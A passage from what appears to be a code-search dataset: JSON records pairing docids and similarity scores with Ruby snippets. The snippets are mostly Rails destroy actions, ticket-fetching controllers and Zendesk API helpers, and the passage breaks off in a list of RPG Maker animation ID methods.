self.class.delete(SObject.root_url+\"/sobjects/#{@object_name}/#{@Id}\")\n raise response.parsed_response[0]['message'] if response.code.to_i > 299\n nil\n end", "title": "" }, { "docid": "429270158b938b4b8fb5789b838f6a56", "score": "0.6422783", "text": "def delete(resource_path)\n response = @http_client[resource_path].delete\n Response.new(response)\n rescue => err\n raise communication_error err\n end", "title": "" }, { "docid": "31e5a51b98ea334a62b796835e31f04b", "score": "0.6420608", "text": "def destroy\n response = RestClient.delete $api_service+\"/claim_issues/\"+params['id']\n redirect_to :action => \"index\"\n end", "title": "" }, { "docid": "c38dc1440a36531ce81767ea0bd1ce49", "score": "0.6419826", "text": "def destroy(id)\n http.delete(\"/service-values/#{id}\") do |response|\n response.code == 204\n end\n end", "title": "" }, { "docid": "20035851fd5107f0fb7189d298ea22a7", "score": "0.64171857", "text": "def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end", "title": "" }, { "docid": "43b81c86cda2a31f2653fb05a00f6230", "score": "0.64089406", "text": "def destroy\n @resource.clear\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7452c4d15daf08108aaa5a1b728adb31", "score": "0.64063114", "text": "def destroy\n @json.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "aab40e915a983b19a00c602b76a1ae9a", "score": "0.63984746", "text": "def delete\n RestClient.delete \"#{@uri}/api/requests/request/#{@data['requestId']||@data['id']}\"\n puts ' Deleted request: '.red + \"#{@data['requestId']||@data['id']}\".light_blue\n end", "title": "" }, { "docid": "545636f0012ddeda51afbe94b3a136ee", "score": "0.63973", "text": "def destroy\n @value_item.destroy\n respond_to do |format|\n format.html { redirect_to value_items_url, notice: 'Value item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f05a34f7bc268856ca12eaf5ddcd5bc3", "score": "0.6390968", "text": "def destroy\n resource.destroy\n respond_with(resource) do |format|\n format.json { render :json => resource_as_json }\n end\n end", "title": "" }, { "docid": "58f53a274a7e3cbba9c73003b9d671fb", "score": "0.63839686", "text": "def delete(resource_identity)\n @client.resource.delete(resource_identity)\n end", "title": "" }, { "docid": "df0066c0f43d265701f4776d791e418a", "score": "0.63808656", "text": "def destroy\n resource.destroy\n end", "title": "" }, { "docid": "fa2b25815807068559758df48cc5e729", "score": "0.63758874", "text": "def destroy\n @user_filter_attribute_value = UserFilterAttributeValue.find(params[:id])\n @user_filter_attribute_value.destroy\n\n respond_to do |format|\n format.html { redirect_to user_filter_attribute_values_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1a2b6cf09fc45a81b4479fd03aa8026a", "score": "0.6375421", "text": "def destroy\n @sc_value.destroy\n respond_to do |format|\n format.html { redirect_to sc_values_url, notice: 'Sc value was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "74b0b7da4a0618077208a67db0b91227", "score": "0.6370544", "text": "def destroy\n @expense_value = ExpenseValue.find(params[:id])\n @expense_value.destroy\n\n respond_to do |format|\n format.html { redirect_to expense_values_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9d9a0c068ecc8e0e4b4c10cd17b0cc09", "score": "0.6368655", "text": "def destroy\n @option_value = @option.option_values.find(params[:id])\n @option_value.destroy\n\n respond_to do |format|\n format.html { redirect_to asset_option_option_values_url(@asset, @option) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "41acb50093a5e1193d249d7744299b23", "score": "0.6367529", "text": "def destroy\n @customfieldvalue.destroy\n respond_to do |format|\n format.html { redirect_to customfieldvalues_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fe04bb32f9bddcb592272fbe23104126", "score": "0.63618594", "text": "def destroy\n @generic_table_dimension_value = GenericTable::DimensionValue.find(params[:id])\n @generic_table_dimension_value.destroy\n\n respond_to do |format|\n format.html { redirect_to generic_table_dimension_values_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c1cde2518cb592b6add14fe05ae1b37d", "score": "0.63594836", "text": "def delete\n options = self.to_h \n uri = self.class.path_builder(:delete, self.id)\n data = {}\n data['id'] = self.id \n data = data.to_json\n VivialConnect::Client.instance.make_request('DELETE', uri, data)\n end", "title": "" }, { "docid": "d04ef81a47b06f5f92006171284a66d9", "score": "0.6350553", "text": "def destroy\n @resource.destroy\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d04ef81a47b06f5f92006171284a66d9", "score": "0.6350553", "text": "def destroy\n @resource.destroy\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d04ef81a47b06f5f92006171284a66d9", "score": "0.6350553", "text": "def destroy\n @resource.destroy\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d04ef81a47b06f5f92006171284a66d9", "score": "0.6350553", "text": "def destroy\n @resource.destroy\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d04ef81a47b06f5f92006171284a66d9", "score": "0.6350553", "text": "def destroy\n @resource.destroy\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d04ef81a47b06f5f92006171284a66d9", "score": "0.6350553", "text": "def destroy\n @resource.destroy\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "dd8b8458191edf0b5a4c6e1fa426afeb", "score": "0.6341481", "text": "def destroy\n @vegresource = Vegresource.find(params[:id])\n @vegresource.destroy\n\n respond_to do |format|\n format.html { redirect_to vegresources_url }\n # format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "33ae3fbaabb68170de9f95477c22d5d1", "score": "0.6340112", "text": "def delete_json(path)\n retries = 0\n begin\n return resource(path).delete()\n rescue => e\n if e.kind_of?(RestClient::Exception) and e.http_code == 503 and retries < RETRY_503_MAX\n # the G5K REST API sometimes fail with error 503. In that case we should just wait and retry\n puts(\"G5KRest: DELETE #{path} failed with error 503, retrying after #{RETRY_503_SLEEP} seconds\")\n retries += 1\n sleep RETRY_503_SLEEP\n retry\n end\n handle_exception(e)\n end\n end", "title": "" }, { "docid": "f1040ad4ec84c67ecb94170d79aafd1d", "score": "0.6329878", "text": "def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to(resources_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f1040ad4ec84c67ecb94170d79aafd1d", "score": "0.6329878", "text": "def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to(resources_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f1040ad4ec84c67ecb94170d79aafd1d", "score": "0.6329878", "text": "def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to(resources_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "e3cc7337dd8d5b38616376ed8865f237", "score": "0.63296103", "text": "def destroy\n @coin_value = CoinValue.find(params[:id])\n @coin_value.destroy\n\n respond_to do |format|\n format.html { redirect_to coin_values_url }\n format.json { head :no_content }\n end\n end", "title": "" } ]
45ba185c6469ac5f3a9a182f8cc2f0bc
GET /tickets/1 GET /tickets/1.json
[ { "docid": "a81945373733e4951b987de6ea99f9a1", "score": "0.0", "text": "def show\n end", "title": "" } ]
[ { "docid": "f3a5f6a48e24136dd6b7ea4be47eb6eb", "score": "0.7638401", "text": "def get_tickets \n render json: { status: 200, tickets: @event_tickets.as_json(only: [:ticket_number]) }\n end", "title": "" }, { "docid": "749d4df3523fac8d01ef82c7f59de95d", "score": "0.753632", "text": "def get_ticket\n query_rest('get_ticket_ok', :action => :get_ticket)\n end", "title": "" }, { "docid": "6965e1471baf5874b4030c4ead2d424e", "score": "0.7527718", "text": "def show\n @ticket = Ticket.find(params[:id])\n\n render json: @ticket\n end", "title": "" }, { "docid": "aad85c780f56d2e13adc03bb479a4a90", "score": "0.73543924", "text": "def ticket(id:)\n response = HTTParty.get(\n \"https://priyankamukundmk.zendesk.com/api/v2/tickets/#{id}.json\",\n basic_auth: auth\n )\n if response.code == 404 || response.code == 401\n return {\n 'tickets' => [], 'total' => 0, 'error_message' => response['error']\n }\n end\n response.dig('ticket')\n end", "title": "" }, { "docid": "7fee2020c022535f52fb9662d3df1c90", "score": "0.7350504", "text": "def tickets\n render json: @user.tickets\n end", "title": "" }, { "docid": "98bd0d91b7cf6f0bb6b15d7ba8bcbe5e", "score": "0.73280984", "text": "def index\n @tickets = Ticket.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tickets }\n end\n end", "title": "" }, { "docid": "98bd0d91b7cf6f0bb6b15d7ba8bcbe5e", "score": "0.73280984", "text": "def index\n @tickets = Ticket.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tickets }\n end\n end", "title": "" }, { "docid": "5649dc8c925252a40146c59c77e6c9c0", "score": "0.72366655", "text": "def show\n @ticket = Ticket.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "a679c3ceced396046692df291393772f", "score": "0.7233424", "text": "def show\n @ticket = Ticket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "a679c3ceced396046692df291393772f", "score": "0.7233424", "text": "def show\n @ticket = Ticket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "a679c3ceced396046692df291393772f", "score": "0.7233424", "text": "def show\n @ticket = Ticket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "a679c3ceced396046692df291393772f", "score": "0.7233424", "text": "def show\n @ticket = Ticket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "a679c3ceced396046692df291393772f", "score": "0.7233424", "text": "def show\n @ticket = Ticket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "a679c3ceced396046692df291393772f", "score": "0.7233424", "text": "def show\n @ticket = Ticket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "a679c3ceced396046692df291393772f", "score": "0.7233424", "text": "def show\n @ticket = Ticket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "a679c3ceced396046692df291393772f", "score": "0.7233424", "text": "def show\n @ticket = Ticket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "a679c3ceced396046692df291393772f", "score": "0.7233424", "text": "def show\n @ticket = Ticket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "8f715b9c90c4febc680600cf850af69c", "score": "0.7232589", "text": "def index\n\t@tickets = Ticket.all\n\trender json: @tickets\n end", "title": "" }, { "docid": "34d7ddf8864acd50a9c50da801fa04e4", "score": "0.719514", "text": "def show\n @ticket = Ticket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @ticket }\n end\n end", "title": "" }, { "docid": "0a824e70efb83e13351ec4e2e18a78ec", "score": "0.71942216", "text": "def show\n @ticketing_ticket = Ticketing::Ticket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ticketing_ticket }\n end\n end", "title": "" }, { "docid": "71f52175d880e491e8bb07c9caeea30c", "score": "0.71918106", "text": "def index\n @user_tickets = list_tickets\n #render json: {tic: @user_tickets}\n end", "title": "" }, { "docid": "7b3939925910e7ce25de1d138ce56831", "score": "0.71789044", "text": "def show\n @event = Event.find(params[:event_id])\n @ticket = @event.tickets(params[:ticket])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "b5f8d1ff89935240e63a118826d52190", "score": "0.7133708", "text": "def index\n @ticketing_tickets = Ticketing::Ticket.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ticketing_tickets }\n end\n end", "title": "" }, { "docid": "c8b9700d6ff150288cc18e015ec32cb5", "score": "0.7064184", "text": "def show\n \t@ticket =Ticket.find(params[:id])\n respond_to do |format|\n format.json { render json: @ticket, status: :ok }\t\n end\n end", "title": "" }, { "docid": "b066567c44a57fd8770a2079f562eb11", "score": "0.7050091", "text": "def get_ticket\n @ticket = Ticket.find(params[:ticket_id])\n end", "title": "" }, { "docid": "c7041bc287d612ca8ae1be37cc10c604", "score": "0.70281416", "text": "def ticket\n @client.ticket(:id => ticket_id)\n end", "title": "" }, { "docid": "09169366e9105337dbd2702bf546da32", "score": "0.7024759", "text": "def get_ticket id\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.get TICKETS, id )\n\t\t\t\tend", "title": "" }, { "docid": "227473068a301d27e86681dc78daa3cb", "score": "0.7005927", "text": "def show\n @ticket = Ticket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "9488c7e7a650401f88a9319243b5c9ef", "score": "0.6992368", "text": "def index\n @ticket_responses = @ticket.ticket_responses\n\n render json: @ticket_responses\n end", "title": "" }, { "docid": "1eabd01b9c2ec8360ec9f9ef24fd3df8", "score": "0.6918151", "text": "def specificTicket(ticketID)\r\n begin\r\n url = URI(\"https://boshng.zendesk.com/api/v2/tickets/\"+\r\n ticketID+\r\n \".json\")\r\n\r\n uri = URI(url)\r\n\r\n request = Net::HTTP::Get.new(uri.path, {'Content-Type' => 'application/json'})\r\n \r\n #Authentication Credential save in application.yml (Using figaro)\r\n request.basic_auth(ENV[\"zendesk_email\"] , ENV[\"zendesk_password\"])\r\n http = Net::HTTP.new(uri.host, uri.port)\r\n http.use_ssl = (url.scheme == \"https\")\r\n\r\n response = http.request(request)\r\n rescue SocketError => e\r\n p e.class\r\n end\r\n\r\n parsed_json = JSON.parse(response.body)\r\n\r\n #if the Ticket is found by having correct ID will return ticket information\r\n if parsed_json[\"ticket\"] != nil\r\n return parsed_json[\"ticket\"]\r\n #else the api will return error message\r\n else\r\n return parsed_json\r\n end\r\n end", "title": "" }, { "docid": "eb512a08d61c78d38204bc45557d4ed4", "score": "0.69134146", "text": "def get_tickets_by_api\n json_data = HTTParty.get(build_uri(@user_id, \"tickets\"), :headers => {\"Authorization\" => \"#{@token_type} #{@access_token}\"})\n return JsonParser::parse_tickets(JsonParser::response_parse(json_data))\n end", "title": "" }, { "docid": "fc63cc0fa7d721a77e977fa536306b97", "score": "0.6907796", "text": "def index\n @tickets = @user.tickets\n end", "title": "" }, { "docid": "7a01b6fbca992c7c9f640a9cb8d58de1", "score": "0.6904458", "text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @ticket }\n end\n end", "title": "" }, { "docid": "6e48eab163e9c1ba9b20e46db72594d6", "score": "0.6903382", "text": "def index\n respond_with(tickets)\n end", "title": "" }, { "docid": "8799295771cf2c81b34861290898140c", "score": "0.6902604", "text": "def ticket(id, options={})\n options.merge!({:basic_auth => @auth})\n JSON::parse(self.class.get(\"/tickets/#{id}.json\", options).body)\n end", "title": "" }, { "docid": "7b4b0923c88f6469e50aaacb73c36883", "score": "0.68978864", "text": "def ticket_by_team\n @ticket = Ticket.where(project_id: params[:project_id])\n json_response(@ticket)\n end", "title": "" }, { "docid": "9a812d831f4c42e643f0876408ee5551", "score": "0.6861428", "text": "def show\n @status_ticket = StatusTicket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @status_ticket }\n end\n end", "title": "" }, { "docid": "e583f9b600fc722216690eb7934ce2fa", "score": "0.68469024", "text": "def tickets(page = 1)\n endpoint = \"#{ZENDESK_API_TICKET_URL}?page=#{page}&per_page=#{NO_OF_TICKETS_PER_PAGE}\"\n response = HTTParty.get(endpoint, basic_auth: auth)\n if response.code == 404 || response.code == 401\n return {\n 'tickets' => [], 'total' => 0, 'error_message' => response['error']\n }\n end\n response\n end", "title": "" }, { "docid": "77185d72086e64a723f70f955f77d02d", "score": "0.68403447", "text": "def index\n\ttickets = Ticket.where(project_id: params[:project_id])\n render response: { tickets: tickets}\n end", "title": "" }, { "docid": "d1907bacfd8724aa392859c7c85977a4", "score": "0.6833168", "text": "def get_tickets\n Ticket::RESULTS.tickets\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.6820753", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "4431292f1c330d33697e94cc6b8ab91d", "score": "0.68189466", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "9130d0db572f9446dd74b30310382f92", "score": "0.68041205", "text": "def show\n render json: @ticket_response\n end", "title": "" }, { "docid": "dad62fdc4d1872df16ff74ffad07fc28", "score": "0.6781966", "text": "def ticket(form_id, id, params = {})\n get \"forms/#{form_id}/tickets/#{id}\", {query: params}\n end", "title": "" }, { "docid": "c3769f79252f31cd0b0395ae93fdb8fa", "score": "0.6769192", "text": "def index\n @tickets = Ticket.with_deleted\n render json:@tickets\n end", "title": "" }, { "docid": "32fb5be0677bd174292e87f1ee88a758", "score": "0.6768102", "text": "def show\n @nouveau_ticket = NouveauTicket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @nouveau_ticket }\n end\n end", "title": "" }, { "docid": "e0cfa3cccd58a5c223775a78c44f3664", "score": "0.67454034", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "24da3a8588af2f0c42250015f8c610f8", "score": "0.67440283", "text": "def get_single(ticket_id)\n begin\n ticket_data = @client.tickets.find!(id: ticket_id)\n Ticket.new(ticket_data)\n rescue ZendeskAPI::Error::RecordNotFound\n # raised if there are no tickets,\n # either because the user has no tickets,\n # or because the API is not returning any tickets\n puts 'An error has occurred.'\n puts 'Record not found.'\n rescue ZendeskAPI::Error::NetworkError\n # raised if the @client instance cannot connect to the API\n puts 'An error has occurred.'\n puts 'API is unavailable. Check your network and https://status.zendesk.com .'\n rescue StandardError => e\n # generic catch-all for other errors\n puts 'An error has occurred.'\n puts e.to_s\n end\n end", "title": "" }, { "docid": "1dbc4a56b486875ead237c30305ee6f0", "score": "0.67416537", "text": "def index\n @tickets = Ticket.all\n end", "title": "" }, { "docid": "a553ba5c6f842ccb2ae6118501da59f1", "score": "0.6728848", "text": "def show\n @ticketname = Ticketname.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ticketname }\n end\n end", "title": "" }, { "docid": "11caa4a807212055ee88579db1c506fd", "score": "0.6727013", "text": "def get_tickets(query_hash = {})\n extension = 'tickets.json'\n\n unless query_hash.empty?\n extension += '?' + query_hash.map { |key, value| \"#{key}=#{value}\" }.join('&')\n extension = URI.escape(extension)\n end\n\n get_req(extension)\n end", "title": "" }, { "docid": "28998522d25a3829029399cac3bd95a0", "score": "0.6723949", "text": "def index\n @tickets = Ticket.includes(:category, :user, :ticket_status)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tickets }\n end\n end", "title": "" }, { "docid": "550df8717474d055fd4b906470270521", "score": "0.6705077", "text": "def show\n @ticket = Ticket.find(params[:id])\n end", "title": "" }, { "docid": "0b8a0fb838b5876c3ed4d2cce0564dec", "score": "0.6699415", "text": "def get_test_ticket\n ticket_data = @client.tickets.first\n Ticket.new(ticket_data)\n end", "title": "" }, { "docid": "54de4d556258a8a025328fad60587401", "score": "0.66984284", "text": "def show\n @ticket = Ticket.find(params[:id])\n end", "title": "" }, { "docid": "f02672ca652678dff52f943ee8f0bce0", "score": "0.66921085", "text": "def index\n\n if current_user\n if current_user.privileged?\n @tickets = Ticket.all\n else\n @tickets = Ticket.where(:user_id => current_user.id)\n end\n else\n @tickets = []\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tickets }\n end\n end", "title": "" }, { "docid": "c096c2195950322311196f414a4b45f8", "score": "0.6666169", "text": "def show\n @tickettype = Tickettype.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tickettype }\n end\n end", "title": "" }, { "docid": "db631af10e62ce248223ab7c585e2d83", "score": "0.6663671", "text": "def show\n @ticket_instance = TicketInstance.find(params[:id])\n\n tickets = TicketInstance.where(:guest_email => @ticket_instance.guest_email, :ticket_type_id => @ticket_instance.ticket_type_id)\n\n @base_ticket = tickets[0]\n @tickets = tickets\n type = TicketType.find(@ticket_instance.ticket_type_id)\n @event = Event.find(type.event_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ticket_instance }\n end\n end", "title": "" }, { "docid": "2a364608012261eb6b0246cb81cea7b1", "score": "0.6644178", "text": "def show\n @ticket_update = TicketUpdate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ticket_update }\n end\n end", "title": "" }, { "docid": "df98f99940920e9b9ebd6252cffaa888", "score": "0.66316", "text": "def index\n @tickets = Ticket.order( \"updated_at DESC\" ).page( params[ :page ] )\n end", "title": "" }, { "docid": "d12c9e7f092c39ce48c99930a8e138f0", "score": "0.6629904", "text": "def index\n @tickets = Ticket.find_by_event(@event.id)\n end", "title": "" }, { "docid": "4dfb5dfeaedc0bf979bfc54138d249cf", "score": "0.66210634", "text": "def new\n @ticketing_ticket = Ticketing::Ticket.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ticketing_ticket }\n end\n end", "title": "" }, { "docid": "73789f218edb159659dd3d40b0d5cd10", "score": "0.66053593", "text": "def index\n @tickets = current_user.tickets\n end", "title": "" }, { "docid": "214a03034c4605cfcd2153d4f034819c", "score": "0.65808415", "text": "def index\n @ticket = Ticket.all\n # @event = Event.find(params[:event_id])\n # @ticket = @event.tickets\n end", "title": "" }, { "docid": "7133f63c6d4d485929cf766996927fc1", "score": "0.6578968", "text": "def index\n @tickets = get_active_tickets_of_current_user\n end", "title": "" }, { "docid": "55ad7bde51bd6231037f134269b13a5b", "score": "0.6577725", "text": "def index\n @user = current_user\n @tickets = @user.tickets\n end", "title": "" }, { "docid": "c1a29d2d42bf6d341c99aa441b0f11a0", "score": "0.65773034", "text": "def find_ticket\n @ticket = Ticket.find(params[:id])\n end", "title": "" }, { "docid": "bd45b61a81972246710c27dccd8961d8", "score": "0.6569519", "text": "def show\n\t@ticket = Ticket.find(params[:id])\nend", "title": "" }, { "docid": "cb2ad306117cf47a4fddc6345165db42", "score": "0.6560682", "text": "def index\n @tickets = Ticket.all\n\n render 'index'\n end", "title": "" }, { "docid": "6399d74f0e75cd18c67b09d01ee86887", "score": "0.65437883", "text": "def index\n # @TODO: have a \"show all\" setting\n @tickets = Ticket.includes(:user).all\n end", "title": "" }, { "docid": "043efbd2589fd2a44267b55fd8c506ee", "score": "0.65418804", "text": "def new\n @ticket = Ticket.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "043efbd2589fd2a44267b55fd8c506ee", "score": "0.65418804", "text": "def new\n @ticket = Ticket.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "043efbd2589fd2a44267b55fd8c506ee", "score": "0.65418804", "text": "def new\n @ticket = Ticket.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "043efbd2589fd2a44267b55fd8c506ee", "score": "0.65418804", "text": "def new\n @ticket = Ticket.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "043efbd2589fd2a44267b55fd8c506ee", "score": "0.65418804", "text": "def new\n @ticket = Ticket.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "043efbd2589fd2a44267b55fd8c506ee", "score": "0.65418804", "text": "def new\n @ticket = Ticket.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "043efbd2589fd2a44267b55fd8c506ee", "score": "0.65418804", "text": "def new\n @ticket = Ticket.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "043efbd2589fd2a44267b55fd8c506ee", "score": "0.65418804", "text": "def new\n @ticket = Ticket.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ticket }\n end\n end", "title": "" }, { "docid": "dfaa4dfb0b0ee9607db86c3935aa6bed", "score": "0.65244836", "text": "def new\n @ticket = Ticket.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @ticket }\n end\n end", "title": "" }, { "docid": "b918c0daf696113ba6d9a7a1189e4e7f", "score": "0.6521844", "text": "def find_ticket\n @ticket = Ticket.find(params[:id])\n end", "title": "" } ]
75d12c0e68a640ed653219a3010e1bdc
Get Offensive Animation ID for Normal Attack
[ { "docid": "ae59e39614f065c5460530dd433c67c9", "score": "0.69466406", "text": "def animation1_id(w=0)\n return $data_enemies[@enemy_id].animation1_id\n end", "title": "" } ]
[ { "docid": "da090c29e803b14aa67084bcf4ad1507", "score": "0.70069283", "text": "def animation1_id\n return $data_enemies[@enemy_id].animation1_id\n end", "title": "" }, { "docid": "da090c29e803b14aa67084bcf4ad1507", "score": "0.70069283", "text": "def animation1_id\n return $data_enemies[@enemy_id].animation1_id\n end", "title": "" }, { "docid": "f4db9675bdfd9fc2358095bdf5fd3eba", "score": "0.68685776", "text": "def death_animation_id\n return GTBS.get_death_anim_enemy(@enemy_id)\n end", "title": "" }, { "docid": "81b1e43fd8a4560914fd8e66edeab920", "score": "0.68229544", "text": "def animation2_id(w=0)\n return $data_enemies[@enemy_id].animation2_id\n end", "title": "" }, { "docid": "ca5d9fa22153280c0c4287aeea2b6591", "score": "0.68093395", "text": "def atk_animation_id\n if two_swords_style\n return weapons[0].animation_id if weapons[0] != nil\n return weapons[1] == nil ? 1 : 0\n else\n return weapons[0] == nil ? 1 : weapons[0].animation_id\n end\n end", "title": "" }, { "docid": "4314f3cff58e54483cf27ef820d3ffe1", "score": "0.67899776", "text": "def animation2_id\n return $data_enemies[@enemy_id].animation2_id\n end", "title": "" }, { "docid": "4314f3cff58e54483cf27ef820d3ffe1", "score": "0.67899776", "text": "def 